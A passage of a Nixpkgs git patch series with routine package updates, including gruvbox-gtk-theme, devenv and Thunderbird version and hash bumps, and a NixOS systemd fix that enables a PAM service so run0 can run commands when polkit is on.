-      rev = "a301759d3650847d14a4c8f4d639f97015eb5b0d";
-      hash = "sha256-dPplS1NKtby/+9L0FtNEKIjLuhlR9KqS+TxwW12sPwc=";
+      rev = "d6327b176d19f6f00a9fbe0175fb95953c12b7de";
+      hash = "sha256-46ur/Mvc8r1yr/ViZ+pEbK2OdVSqJCSBh7e9AfrRIRY=";
     };
 
     propagatedUserEnvPkgs = [ gtk-engine-murrine ];

From 5249ce352264dc3742276367799fb558714cca4b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 27 Jul 2025 23:53:04 +0000
Subject: [PATCH 2979/4511] gruvbox-gtk-theme: 0-unstable-2025-04-24 ->
 0-unstable-2025-07-21

(cherry picked from commit 2c674a7d3a6945fb145d70162f9c4b6fddc42848)
---
 pkgs/by-name/gr/gruvbox-gtk-theme/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/gr/gruvbox-gtk-theme/package.nix b/pkgs/by-name/gr/gruvbox-gtk-theme/package.nix
index be9c5eb58abe..146a7e839b1f 100644
--- a/pkgs/by-name/gr/gruvbox-gtk-theme/package.nix
+++ b/pkgs/by-name/gr/gruvbox-gtk-theme/package.nix
@@ -68,13 +68,13 @@ lib.checkListOfEnum "${pname}: colorVariants" colorVariantList colorVariants lib
   stdenvNoCC.mkDerivation
   {
     inherit pname;
-    version = "0-unstable-2025-04-24";
+    version = "0-unstable-2025-07-21";
 
     src = fetchFromGitHub {
       owner = "Fausto-Korpsvart";
       repo = "Gruvbox-GTK-Theme";
-      rev = "fbced4ba03975dadd1d74d6b73cccdcbbd5e8b90";
-      hash = "sha256-zhY3uwvtHNKNrdWiD5Le/AMz1lgV39K/RNhFGnIMpzg=";
+      rev = "b1cfcc8a3b461f227c8a89dee17a80ed8f6656f4";
+      hash = "sha256-QFXaAtgH30aP1+/rNobntTAMfwh+AAb26FyZgElVdC4=";
     };
 
     propagatedUserEnvPkgs = [ gtk-engine-murrine ];

From d5378cec85f6e7ef3ed4c6db3d678b38f2aaa5f7 Mon Sep 17 00:00:00 2001
From: Jason Yundt <jason@jasonyundt.email>
Date: Tue, 24 Jun 2025 09:08:27 -0400
Subject: [PATCH 2980/4511] nixos/systemd: fix run0 failing to run commands
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Fixes #361592.

I was able to test this change by doing the following:

1. Create a file named “test-systemd-run0.nix” that contains this Nix
expression:

    let
      nixpkgs = /path/to/nixpkgs;
      pkgs = import nixpkgs { };
    in
    pkgs.testers.runNixOSTest {
      name = "test-systemd-run0";
      nodes.machine = {
        security.polkit.enable = true;
      };
      testScript = ''
        start_all()
        machine.succeed("run0 env")
      '';
    }

2. Replace “/path/to/nixpkgs” with the actual path to an actual copy of
Nixpkgs.

3. Run the integration test by running this command:

    nix-build <path to test-systemd-run0.nix>

(cherry picked from commit d54262911cee609de70c254cf6f3407d962219c8)
---
 nixos/modules/system/boot/systemd.nix | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/nixos/modules/system/boot/systemd.nix b/nixos/modules/system/boot/systemd.nix
index 753dab0af4f8..2fa9eb16d82b 100644
--- a/nixos/modules/system/boot/systemd.nix
+++ b/nixos/modules/system/boot/systemd.nix
@@ -831,6 +831,15 @@ in
         minsize = "1M";
       };
     };
+
+    # run0 is supposed to authenticate the user via polkit and then run a command. Without this next
+    # part, run0 would fail to run the command even if authentication is successful and the user has
+    # permission to run the command. This next part is only enabled if polkit is enabled because the
+    # error that we’re trying to avoid can’t possibly happen if polkit isn’t enabled. When polkit isn’t
+    # enabled, run0 will fail before it even tries to run the command.
+    security.pam.services = mkIf config.security.polkit.enable {
+      systemd-run0 = { };
+    };
   };
 
   # FIXME: Remove these eventually.

From 3e92a3702c7c1c0164011dfdeddc415313b61f3f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Domen=20Ko=C5=BEar?= <domen@cachix.org>
Date: Sun, 27 Jul 2025 20:55:33 -0500
Subject: [PATCH 2981/4511] devenv: 1.8 -> 1.8.1

(cherry picked from commit ac9f0ff3818c906b657c7cc94c869f9ec677bd8c)
---
 pkgs/by-name/de/devenv/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/de/devenv/package.nix b/pkgs/by-name/de/devenv/package.nix
index c710775b91c7..e6dc131de775 100644
--- a/pkgs/by-name/de/devenv/package.nix
+++ b/pkgs/by-name/de/devenv/package.nix
@@ -30,7 +30,7 @@ let
         __intentionallyOverridingVersion = true;
       });
 
-  version = "1.8";
+  version = "1.8.1";
 in
 rustPlatform.buildRustPackage {
   pname = "devenv";
@@ -40,11 +40,11 @@ rustPlatform.buildRustPackage {
     owner = "cachix";
     repo = "devenv";
     tag = "v${version}";
-    hash = "sha256-Cg4DxHCZiXiSlbwveJpyCFzWIblWi467I2/pmsAWiAw=";
+    hash = "sha256-YsSFlVWUu4RSYnObqcBJ4Mr3bJVVhuFhaQAktHytBAI=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-uUI0O60x8AVG85MJYzEbNdsO818yFu4w66WuozboWso=";
+  cargoHash = "sha256-zJorGAsp5k5oBuXogYqEPVexcNsYCeiTmrQqySd1AGs=";
 
   buildAndTestSubdir = "devenv";
 

From a0135cfa6641d6a54f7d2902a14b9cf09ba263b3 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 28 Jul 2025 18:11:46 +0000
Subject: [PATCH 2982/4511] thunderbird-latest-unwrapped: 140.0.1 -> 141.0

(cherry picked from commit 599f47fc1e47995d841338f927d98d4b3a760cfc)
---
 .../networking/mailreaders/thunderbird/packages.nix           | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
index 95476deafc6e..b85b16814a37 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
@@ -94,8 +94,8 @@ rec {
   thunderbird = thunderbird-latest;
 
   thunderbird-latest = common {
-    version = "140.0.1";
-    sha512 = "fbef1d0228c49fc9c11425b6be03bb7e44e6abc6f2027ee23317270ca2c6b0a935bb41b38667acf014bd9e1166cbe62754f1e919e04f2355dc4c833e015c78b8";
+    version = "141.0";
+    sha512 = "cd747c0831532f90685975567102d1bdb90a780e21209fe4b7bddf2d84ac88576766706e95e22043a30a8a89b6d3daffb56a68c3ccc4a300b8236b20d4fca675";
 
     updateScript = callPackage ./update.nix {
       attrPath = "thunderbirdPackages.thunderbird-latest";

From 13683ca7e3a3f136fdaacd2c746e81969eb7f611 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 28 Jul 2025 16:54:00 +0000
Subject: [PATCH 2983/4511] thunderbird-esr-bin-unwrapped: 140.0.1esr ->
 140.1.0esr

(cherry picked from commit acaa5e5a195e8188001e485dbc9a16175c07872a)
---
 .../thunderbird-bin/release_esr_sources.nix   | 794 +++++++++---------
 1 file changed, 397 insertions(+), 397 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix
index ea56b90297f6..f089cd1c1bcc 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix
@@ -1,1193 +1,1193 @@
 {
-  version = "140.0.1esr";
+  version = "140.1.0esr";
   sources = [
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/af/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/af/thunderbird-140.1.0esr.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "06f915e75f3a2b5854ca5291b2996c6829044ba5c951b5e0589afba0cee3165c";
+      sha256 = "0949364bab751990fc5d02354a0352c8c919f8606594bd0302f30ae1fb931cd1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/ar/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/ar/thunderbird-140.1.0esr.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "f9e977ea29c2323477e689dd245fea48b6986bbfc5cb5bf1c11ff1816129a6ec";
+      sha256 = "5a3ecef8ffcabbbc60123ba3745b1b1fcf1d37af68b7132ab6e85b8e7dc34c07";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/ast/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/ast/thunderbird-140.1.0esr.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "bfb135159eace51cebca93a67a04b26bb8193ca74380bf91925e44b8f5f35062";
+      sha256 = "90bdf01ef3ca297f83e94829f8357a899c036e8c8bad32d1ab81730e14c8539c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/be/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/be/thunderbird-140.1.0esr.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "87e4805cb4d75c099933fe130b2e9e49cce6d4ffcae96a5db4e7063f15015c0e";
+      sha256 = "c8db05ebd470c2850519cc69c6b6aec72e1e1a9586807ef73e6e4522064f669f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/bg/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/bg/thunderbird-140.1.0esr.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "73070f8fd509855e168f9017e0a055c2fc82491672defc5254628493739bc172";
+      sha256 = "f0aef122695b374b8d5d9aa645510e829c3980305892121a11ed35e9646fd08b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/br/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/br/thunderbird-140.1.0esr.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "0bc1e74090f65343bb02693192dc2e089bbf794f24779260ec1e9b0b38bfaca2";
+      sha256 = "b63fe552f4dd1696b0ded0be712d3277d297ab884321229bac0aff578dfb0b8a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/ca/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/ca/thunderbird-140.1.0esr.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "165c01a14e5cb97ef930061c91b35359de51f34099726d4e41cf36daa01997c7";
+      sha256 = "19247cbb6f6994fb1c97cafdadcbec72eb3c3c9e4cbc848ae2ba3ed1227c0a9d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/cak/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/cak/thunderbird-140.1.0esr.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "fe15b4171d98d5c4efc5fb3ec1900acb1a2b3e5d95352b16f6447845fe346d7b";
+      sha256 = "8c029d10efac92d8b8482770cebf6347199c6dd5a4f96fd2e8cf29a32a6a6cf0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/cs/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/cs/thunderbird-140.1.0esr.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "6d352b072fc5c8a30c1bea470ece25f02e4e28819252beb3315d5a25310050a8";
+      sha256 = "be900224dc75df6ce962daabadcc0e9efc170baead516b746af5ed7e98337190";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/cy/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/cy/thunderbird-140.1.0esr.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "9850cab77ccb9f190e891d54b41870027f954fe0d7181125ed561fb8bd8a25c6";
+      sha256 = "f2fc6503cc88c1719ba1524dd031d05aac225bee7f6785f239530ce5192be322";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/da/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/da/thunderbird-140.1.0esr.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "b5d83580e2a47f47294eb1c44b99e76ff3197a452c0bf0d6b43aa0b8a9304cec";
+      sha256 = "55d06c3117b26098f17edda9deb84706ba38bd4a6c22adc7270bf6e431a15949";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/de/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/de/thunderbird-140.1.0esr.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "d2350a93bb8dee76c66b803938f03f26e090a6f0a8479cd3caaa6ce53cd971ed";
+      sha256 = "83125097e4c240b3a230d4f1915deaba9e356509eb3f100f8deba7d352d32e20";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/dsb/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/dsb/thunderbird-140.1.0esr.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "22bd1b90d9f66935c36bd401fb26f06e4e9058efffd57b11497b562c64c33232";
+      sha256 = "528346d87600d87f25aadfc22a568fb6b5d80ed879905f623fa778daf4f40430";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/el/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/el/thunderbird-140.1.0esr.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "d76b19a19955894a8c5e41c141462ee461777dc835f3f0521b0002b72a5e69ee";
+      sha256 = "2cb9aea9ed1830294506c3622ade8af3f368405f91bd15157a6149548e8ed77d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/en-CA/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/en-CA/thunderbird-140.1.0esr.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "9640f19005a7edab422d8f6ae8f30ff5972e7ba4d2ea3a4e33327af179ac3bb8";
+      sha256 = "9e213ae92ddd13118e3b17b9ec55b078e4386d14b4c003af6a4ec33bcaf1eb53";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/en-GB/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/en-GB/thunderbird-140.1.0esr.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "aad201099bfc714adf49a2c48f6014d032aa0b769a5fc36a79b1c69d45e7214a";
+      sha256 = "9d81bc9585e787ccc86a49793a8d68763527685472974fb6bd48d8af849982d4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/en-US/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/en-US/thunderbird-140.1.0esr.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "80cf82ad997397830e740dd9d9434251339ac070330bf733117b465b659151f3";
+      sha256 = "94a7e55b8b072150d7195b3fd83a1dfb92c4cc459f4f1584025cdf55fdcbb9b9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/es-AR/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/es-AR/thunderbird-140.1.0esr.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "d08a3bcd79614df769d394ab26adca2aa2af9555b81cc21907e5427a06688998";
+      sha256 = "bb7636ef599eec8055030092faac2edfd5c54ad1b50e3520d93b7b379e138b8f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/es-ES/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/es-ES/thunderbird-140.1.0esr.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "e5c869674940aa0d250709e3e7f863c63fc16441fb3d42b2eb4748700407c1c9";
+      sha256 = "810b48fa291c0d19c1a0d3a3cf1b4edf646cd7f5f7e4bf6712a414262dac45fa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/es-MX/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/es-MX/thunderbird-140.1.0esr.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "56b7a598b06101368f30ff3e6af79f6a14fdeb42eb2f4480c4c01cdf586528e3";
+      sha256 = "cce7a9edfb6ff43376c328c7013ef50c2da23b8ab91e6c61e39100089259b9e7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/et/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/et/thunderbird-140.1.0esr.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "c15efe7a3ee01ac382647f6fae52cda012e8164246eabe9ce70e099d3984de2d";
+      sha256 = "77bb2e7ee0201c546fba6e06008aada446c5c69d1afe8e459845e1fb49cde5dd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/eu/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/eu/thunderbird-140.1.0esr.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "6c6731ad5e8fb00495029d281063bb2d66f7a76fe4ff827019c2647ffe8da223";
+      sha256 = "96c6423c9621b0cf1e701067ff0e03f9039fca140fe96da98f025a0256142324";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/fi/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/fi/thunderbird-140.1.0esr.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "d9f7a2c19e1982a043b8cdcdfff935541810744fda6128a2049bb1594dedfbae";
+      sha256 = "b882e094df72799ad134687f71f3c90a367413664c91005b7da1ec408d8a953f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/fr/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/fr/thunderbird-140.1.0esr.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "369acae933d265958e9d5fcfdba0acffa7bd439ec37e7b5fb374653f2ad04522";
+      sha256 = "ae57f0fd421c0e21f274c56f7a1ef4ab28a2721a48c1a19394ec6a19b937e0f3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/fy-NL/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/fy-NL/thunderbird-140.1.0esr.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "046e818ec7a8beeaaaf09446f8d8696dd76ac2e8b77c81a64e5c1dac55253fef";
+      sha256 = "5a9a57ff7688a83cabbff454058907ebda160b744766878b097de7622bf4e565";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/ga-IE/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/ga-IE/thunderbird-140.1.0esr.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "37c56eb7e5b5d954ff410195e215c2c0027a3bbec9a48a33385ec11d77cef8f1";
+      sha256 = "39143e0a585cd77adb7d3389c3f0bfda2201461f591612712af992bf9c803b3c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/gd/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/gd/thunderbird-140.1.0esr.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "79f15b5de5d952bd8bcafa04bad730dcff9c9acbdec4ebf0bdadb8cffe6822f5";
+      sha256 = "5628e78b0ebb53b1d3c176c0f73561a388c040e96f22ad50032ccd40033f9385";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/gl/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/gl/thunderbird-140.1.0esr.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "91ff57794a1c65c972568e15a1f9052b191ed326587043988199a4fa725fcd5e";
+      sha256 = "312750092889dc23ea3f4bc96e17096984523ac22317b119dff93ce3aa3a5a0b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/he/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/he/thunderbird-140.1.0esr.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "3cbed1bb7a7b90badf41f54babc59303e8a3d63eb891a19a0e6c93199798404e";
+      sha256 = "12414b9fe4173bc6f36b6bd806fde3155031c09cb3e04b278985610a05fe6420";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/hr/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/hr/thunderbird-140.1.0esr.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "5635413f7f86d8bf5ccec7ef98b5a72e724b96e41d7079851e1bac2cf57d8062";
+      sha256 = "52438992ef99f56aa7bbf1b9d9e57c430bcb217cf5f2f9513bc0822da3f6ac8e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/hsb/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/hsb/thunderbird-140.1.0esr.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "6aba8d1ebfa2fb886477a5250f4ce16bb216f7c475ab56faa1bcc2598e3e360c";
+      sha256 = "b69f099a5849568965cf8b6e2104c367327b376f68772e3b3aac4d1687b733aa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/hu/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/hu/thunderbird-140.1.0esr.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "97274a67e2632130a081f25836068ed1d629b0e24ef65a86b85e2f1dc50314a3";
+      sha256 = "01436c7fbd357cb222b573722bba0515fbfb91e6784f414d22b0a575ef57b5b1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/hy-AM/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/hy-AM/thunderbird-140.1.0esr.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "b3cc90a46dd5a0604ecc6dba3129dc999f6ccdafbf559dc6abad476b9f644ff6";
+      sha256 = "4f8ed268403590398836fa2410fdb07217e8065e7ab908e5c692d37587bce82c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/id/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/id/thunderbird-140.1.0esr.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "015e2ac23a0129ee0bb4f8c078f6d604361b2b08cecb54e0ecd98e82f8c87606";
+      sha256 = "8dd3c99050f1da269fc90ee70723443c52b2fdc8730c959541dc84c3caa55ca8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/is/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/is/thunderbird-140.1.0esr.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "5d74a5b1e80540e3bdc031752ba0f16257e46c196ba20f34575c900cc741e184";
+      sha256 = "8ad1ec0dbbc85dfdf76ec593bdd377b8bc74c70ba0692736c69348365cba06a2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/it/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/it/thunderbird-140.1.0esr.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "36a257fe9b13ac7c95e64c2e16610e50e3faccce3d2e26d1b0c509d898360507";
+      sha256 = "51672db7ad0976a9964bdbaf64a10e749a972b813c48512c342160cf48633502";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/ja/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/ja/thunderbird-140.1.0esr.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "ffa7cd70028112a691066b8dee3903a0404bf57c02751d687ef1bc8e906169f4";
+      sha256 = "50fb4726f63397bfe15c7c8d3272b35fc6190fedfddb5b43b761c70bf22433d1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/ka/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/ka/thunderbird-140.1.0esr.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "2c70ef901bb85e4355a4a86cde4dc4dc3822f198fc39e9abfc47393e9909d813";
+      sha256 = "57acefd6fecf702ac89d0f35c852578dcf8e8d44bc357f403e408cb634e3776e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/kab/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/kab/thunderbird-140.1.0esr.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "ed4cf54f5673e2ad33942bb2125bed7aece909ec31d6ad9986ed584708b618ea";
+      sha256 = "803ba9ca63fff30fe3287565156678936b677d7afb45f7d59c63f012f53282ba";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/kk/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/kk/thunderbird-140.1.0esr.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "5f5381e871f17921d4978bbce055239bd2358da555a5d4e897b57bc5a47cc2de";
+      sha256 = "447396b9d5a4ce9b110d9dad0ebe8357cfdfee65258911ac6192b6c3e7970946";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/ko/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/ko/thunderbird-140.1.0esr.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "34c1c3271dea3484d7c30bf61b2a5c5c6229dcb36f36a7aed48bd9264012bd77";
